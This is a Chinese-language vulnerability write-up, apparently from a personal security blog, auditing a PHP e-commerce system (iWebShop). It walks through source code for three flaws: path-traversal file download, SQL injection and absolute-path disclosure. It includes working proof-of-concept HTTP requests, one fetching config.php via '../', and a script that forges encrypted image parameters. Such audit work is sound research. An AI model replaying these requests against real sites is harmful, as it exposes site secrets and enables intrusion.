Created 星期二 27 二月 2018
2018年2月27号 状态:困 心情:想玩游戏

####1.后台任意文件下载:
在后台批量下载网站数据库备份的位置存在漏洞,导致可提交任意文件,打包下载系统任意文件。

0x01代码位置:\WWW\controllers\tools.php 第178-205行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//[备份还原]打包下载
function download_pack()
{
$name = IFilter::act(IReq::get('name'));

if($name)
{
$backupObj = new DBBackup($name);
$fileName = $backupObj->packDownload();
if($fileName === false)
{
$this->redirect('db_res',false);
Util::showMessage('环境不支持zip扩展');
exit;
}

$db_fileName = $backupObj->download($fileName);
if(is_file($db_fileName))
{
@unlink($db_fileName);
}
}
else
{
$this->redirect('db_res',false);
Util::showMessage('请选择要打包的文件');
exit;
}
}

代码分析:接收文件名(name),经过一定程度的过滤,之后实例化类DBBackup,然后是调用类方法packDownload打包下载传入的文件,下载好后,删除压缩包文件。
接下来得分析这个IFilter::act()字符过滤方法,

0x02代码位置:\WWW\lib\core\util\filter_class.php 第40-100行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
/**
* @brief 对字符串进行过滤处理
* @param string $str 被过滤的字符串
* @param string $type 过滤数据类型 值: int, float, string, text, bool, url
* @param int $limitLen 被输入的最大字符个数 , 默认不限制;
* @return string 被过滤后的字符串
* @note 默认执行的是string类型的过滤
*/
public static function act($str,$type = 'string',$limitLen = false)
{
if(is_array($str))
{
$resultStr = array();
foreach($str as $key => $val)
{
$key = self::addSlash($key);
$val = self::act($val, $type, $limitLen);
$resultStr[$key] = $val;
}
return $resultStr;
}
else
{
//引用IValidate校验类协助过滤
if(method_exists("IValidate",$type))
{
$result = call_user_func(array("IValidate",$type),$str);
return $result == true ? $str : "";
}

//引用正则表达式
if(preg_match("%\W%",$type[0]) == true)
{
$type = trim($type,$type[0]);
return IValidate::check($type,$str) ? $str : "";
}

switch($type)
{
case "int":
return intval($str);
break;

case "float":
return floatval($str);
break;

case "text":
return self::text($str,$limitLen);
break;

case "bool":
return (bool)$str;
break;

default:
return self::string($str,$limitLen);
break;
}
}
}

代码分析:传入的参数经过斜线的转义,之后经过过滤,过滤所有html标签和php标签以及部分特殊符号(不包括”../“这种跨目录字符)于是,因为这里type为空,后面的判断逻辑不再多叙述。所以最后的返回数据还是可带有“../”这种跨目录字符,也就是说,还能跨到其他文件路径。

接下来再分析 $backupObj->packDownload()下载方法。

0x03代码位置:\WWW\classes\dbbackup.php 第196-216行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//打包下载
function packDownload()
{
if(class_exists('ZipArchive'))
{
$fileName = $this->fPrefix.'_'.date('Ymd_His').'.zip';
$zip = new ZipArchive();
$zip->open($this->dir.'/'.$fileName,ZIPARCHIVE::CREATE);
foreach($this->ctrlRes as $file)
{
$attachfile = $this->dir.'/'.$file;
$zip->addFile($attachfile,basename($attachfile));
}
$zip->close();

return $fileName;
}
else
{
return false;
}
}

代码分析:实例化类ZipArchive(),创建压缩文件,成功返回压缩包文件。另外我这里试过了,不能打包整个文件夹,只能针对确切的文件进行打包压缩。

0x04漏洞利用:

构造请求数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /index.php?controller=tools&action=download_pack HTTP/1.1
Host: 192.168.99.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.99.140/index.php?controller=tools&action=download_pack
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Cookie: UIA=-w-4%5D2612%5E1%5D5%2C%2A3_31b%2A1%29b24--%5D%2F%5D434%5D1a34%2A%5D.3%2B%2F0%2A54161-1%5B4bc%5Dc12%5B3_2; Hm_lvt_03464ad6586b89ef20d9728f1b74324c=1516014123; PHPSESSID=fqdaij2c41g8ampnlm5mben4l7; iweb_step=521e028e53ec01782cVAcGBQBSBAcEBgEFAAQFUgMAVl0DUFtQUQxUAAdVWglUAgABUgpRBFtS; iweb_captcha=8ddf4c85159dfc03a2UwdSCAVSVAQFVFMNBFNXCwlRAFYCBglVDgEEUgALW1UJW0EIVw; iweb_admin_role_name=015a678be0c9f6054dUwZSBAYHAwQEAlQGAFICUlAGBFAGA1oBVwUOVVQGAwPch7TQiJ%2BDzZTeo7fVoq4; iweb_admin_id=a28acf32f57e855ff9UggAVgRWAAlUA1NVBwAPUFcKVgVXDwZWUAEBAAENAFdV; iweb_admin_name=ca4f89b6034a03b1a5BwkFUlNRUwMHUl0OUwRXCF0BUFALVAJdUQsAUlAHVlQFV1taVg; iweb_admin_pwd=bf10bca04945463a2dUVYIVAUFVVEFVAZSDVBXAAgLV1VcAwJUAVlRVQMCVQBcWwFUUQ8OV1cAXQlRVwELXFwFAl0AAFNRDwNXW1MAVQ; iweb_admin_right=9ee838120150a5076aCAkHVgdWUVUDUlkHB1cHVVVQAgYAB1FQVwsIUghRBVY; iweb_visit=1e1cea5148cce18f6aAgQFCAUJVVYDUQBUVQdSUQMEVgECA1UNCVcDWgUHBFQRAlNSRQ
Connection: close
Upgrade-Insecure-Requests: 1

name%5B%5D=../../config/config.php

其中name[]参数为漏洞参数,可设置为任意系统文件路径,则可打包下载任意文件。
config.php
解压打开看一下这个文件:
config

2.sql注入:

代码位置:F:\phpStudy\PHPTutorial\WWW\controllers\comment.php 第418-434行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
* @brief 删除商户消息
*/
function seller_message_del()
{
$refer_ids = IReq::get('check');
$refer_ids = is_array($refer_ids) ? $refer_ids : array($refer_ids);
if($refer_ids)
{
$ids = implode(',',$refer_ids);
if($ids)
{
$tb_refer = new IModel('seller_message');
$where = "id in (".$ids.")";
$tb_refer->del($where);
}
}
$this->seller_message_list();
}
}

####3.泄露绝对路径地址:
该问题的产生源于系统pic控制器下获取客户端请求img图片链接的位置,该img参数为加密数据,在我们已经获取到系统配置文件中的encryptKey情况下,可破解和生成该img图片链接的加密串。请求一个不被允许的类型文件时,系统会爆出绝对路径位置。

######0x01代码位置:F:\phpStudy\PHPTutorial\WWW\controllers\pic.php 第111-157行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//生成缩略图
public function thumb()
{
//配置参数
$mixData = IFile::dirExplodeDecode(IReq::get('img'));
//http 304缓存
if(isset($_SERVER['HTTP_IF_NONE_MATCH']) && $_SERVER['HTTP_IF_NONE_MATCH'] == md5($mixData))
{
header("HTTP/1.1 304 Not Modified");
exit;
}

if($mixData)
{
preg_match("#/w/(\d+)#",$mixData,$widthData);
preg_match("#/h/(\d+)#",$mixData,$heightData);

//1,默认原图形式
$thumbSrc = $mixData;

//2,有缩略图的形式,替换原图形式
if(isset($widthData[1]) && isset($heightData[1]))
{
$imageSrc = str_replace(array($widthData[0],$heightData[0]),"",$mixData);
if(!$imageSrc)
{
return;
}
$width = $widthData[1];
$height = $heightData[1];
$thumbSrc = Thumb::get($imageSrc,$width,$height);
}

//设置扩展名
$fileExt = pathinfo($thumbSrc, PATHINFO_EXTENSION);
if(!in_array(strtolower($fileExt),array("jpg","png","gif","tbi")))
{
return;
}

$cacheTime = 31104000;
header('Pragma: cache');
header('Cache-Control: max-age='.$cacheTime);
header('Content-type: image/'.$fileExt);
header("Etag: ".md5($mixData));
readfile($thumbSrc);
}
}

其中IFile::dirExplodeDecode()方法获取解密后的加密串内容(img图片链接地址),代码执行到第31行时$thumbSrc = Thumb::get($imageSrc,$width,$height);调用类Thumb中的get方法,我们跟进到这个方法:
代码位置:F:\phpStudy\PHPTutorial\WWW\classes\thumb.php 第18-87行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/**
* @brief 生成缩略图
* @param string $imgSrc 图片路径
* @param int $width 图片宽度
* @param int $height 图片高度
* @return string WEB图片路径名称
*/
public static function get($imgSrc,$width=100,$height=100)
{
//远程图片
if(strpos($imgSrc,"http") === 0)
{
$urlArray = parse_url($imgSrc);
if(!isset($urlArray['path']))
{
return;
}
//根据URL生成要保存的唯一路径
$extPad = "";
$fileExt = pathinfo($imgSrc,PATHINFO_EXTENSION);
if($fileExt == "")
{
$extPad = ".jpg";
}
else if(!in_array(strtolower($fileExt),array("jpg","png","gif","tbi")))
{
return;
}
$dirname = dirname($urlArray['path']);
$downFile = self::getThumbDir().trim($dirname,"/")."/".basename($imgSrc).$extPad;

//如果系统不存在此路径则直接下载
if(!is_file($downFile))
{
$ch = curl_init($imgSrc);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$fileRes = new IFile($downFile,"w+");
$result = $fileRes->write(curl_exec($ch));
if(!$result)
{
throw new IException($downFile." download fail");
}
}
$sourcePath = $downFile;
}
//本地图片
else
{
$sourcePath = IWeb::$app->getBasePath().$imgSrc;
if(is_file($sourcePath) == false)
{
return;
}
$dirname = dirname($imgSrc);
}

//缩略图文件名
$preThumb = "{$width}_{$height}_";
$thumbFileName = $preThumb.basename($sourcePath);

//缩略图目录
$thumbDir = self::getThumbDir().trim($dirname,"/")."/";
$webThumbDir = self::$thumbDir.trim($dirname,"/")."/";
if(is_file($thumbDir.$thumbFileName) == false)
{
IImage::thumb($sourcePath,$width,$height,$preThumb,$thumbDir);
}
return $webThumbDir.$thumbFileName;
}

分析代码到IImage::thumb($sourcePath,$width,$height,$preThumb,$thumbDir);第67行,会调用IImage类中的thumb方法,我们继续跟近:
代码位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/**
* @brief 生成缩略图
* @param string $fileName 原图路径
* @param int $width 缩略图的宽度
* @param int $height 缩略图的高度
* @param string $extName 缩略图文件名附加值
* @param string $saveDir 缩略图存储目录
* @return string 缩略图文件名
*/
public static function thumb($fileName, $width = 200, $height = 200 ,$extName = '_thumb' ,$saveDir = '')
{
$GD = new GD($fileName);

if($GD)
{
$GD->resize($width,$height);
$GD->pad($width,$height);

//存储缩略图
if($saveDir && IFile::mkdir($saveDir))
{
//生成缩略图文件名
$thumbBaseName = $extName.basename($fileName);
$thumbFileName = $saveDir.basename($thumbBaseName);

$GD->save($thumbFileName);
return $thumbFileName;
}
//直接输出浏览器
else
{
return $GD->show();
}
}
return null;
}

这里可以看到new GD($fileName),实例化了GD对象。再跟进到该对象中:
代码位置:F:\phpStudy\PHPTutorial\WWW\lib\core\util\phpthumb\GD.php 第84-110行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function __construct($fileName, $options = array(), array $plugins = array())
{
parent::__construct($fileName, $options, $plugins);

$this->determineFormat();
$this->verifyFormatCompatiblity();

switch ($this->format) {
case 'GIF':
$this->oldImage = imagecreatefromgif($this->fileName);
break;
case 'JPG':
$this->oldImage = imagecreatefromjpeg($this->fileName);
break;
case 'PNG':
$this->oldImage = imagecreatefrompng($this->fileName);
break;
case 'STRING':
$this->oldImage = imagecreatefromstring($this->fileName);
break;
}

$this->currentDimensions = array (
'width' => imagesx($this->oldImage),
'height' => imagesy($this->oldImage)
);
}

析构函数中$this->determineFormat();该方法中具体实现我们具体看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function determineFormat()
{
$formatInfo = getimagesize($this->fileName);

// non-image files will return false
if ($formatInfo === false) {
if ($this->remoteImage) {
throw new \Exception("Could not determine format of remote image: {$this->fileName}");
} else {
throw new \Exception("File is not a valid image: {$this->fileName}");
}
}

$mimeType = isset($formatInfo['mime']) ? $formatInfo['mime'] : null;

switch ($mimeType) {
case 'image/gif':
$this->format = 'GIF';
break;
case 'image/jpeg':
$this->format = 'JPG';
break;
case 'image/png':
$this->format = 'PNG';
break;
default:
throw new \Exception("Image format not supported: {$mimeType}");
}
}

函数中先获取图片的size,由于我们在提交中给定的不是一张正常的图片文件,所以这里获取图片大小会出错。导致代码中第10行抛出异常,并打印出文件的具体物理地址,导致最终泄露了web系统的绝对路径。

0x02构造请求数据:

首先得把加密解密的代码单独拿出来,构造请求的带加密串的链接,以下是构造的获取加密串的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
function simpleEncode($string, $skey = 'iWebShop')
{
$strArr = str_split(base64_encode($string));
$strCount = count($strArr);
foreach(str_split($skey) as $key => $value)
{
$key < $strCount && $strArr[$key].=$value;
}
return str_replace(array('=', '+', '/'), array('O0O0O', 'o000o', 'oo00o'), join('', $strArr));
}
/**
* @brief 简单解密算法
* @param String $string 要处理的字符串
* @param String $skey 密钥
* @return String $string 处理后的字符串
*/
function simpleDecode($string, $skey = 'iWebShop')
{
$strArr = str_split(str_replace(array('O0O0O', 'o000o', 'oo00o'), array('=', '+', '/'), $string), 2);
$strCount = count($strArr);
foreach(str_split($skey) as $key => $value)
{
$key <= $strCount && isset($strArr[$key]) && isset($strArr[$key][1]) && $strArr[$key][1] === $value && $strArr[$key] = $strArr[$key][0];
}
return base64_decode(join('', $strArr));
}


echo '---------------------------------------------------------';
$key1 = md5('098f6bcd4621d373cade4e832627b4f6');
$files = 'test.txt/w/118/h/118';
$filesencode = simpleEncode($files,$key1);
echo '<br>filesencode: '.$filesencode.'</br>';
echo '<br>files: '.simpleDecode($filesencode,$key1).'</br>';
?>

通过该脚本文件获取加密字符串:

构造请求数据包:

1
2
3
4
5
6
7
8
9
GET /index.php?controller=pic&action=thumb&img=dfGbV4z6d9Cd570eefH4Q3v0dby08bxaMfT0gcvaabC68cx4M3T6geO0O0O7 HTTP/1.1
Host: 192.168.98.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.168 Safari/537.36 OPR/51.0.2830.40
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://192.168.98.140/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: close

请求数据返回详情,以下可看到web系统的物理地址: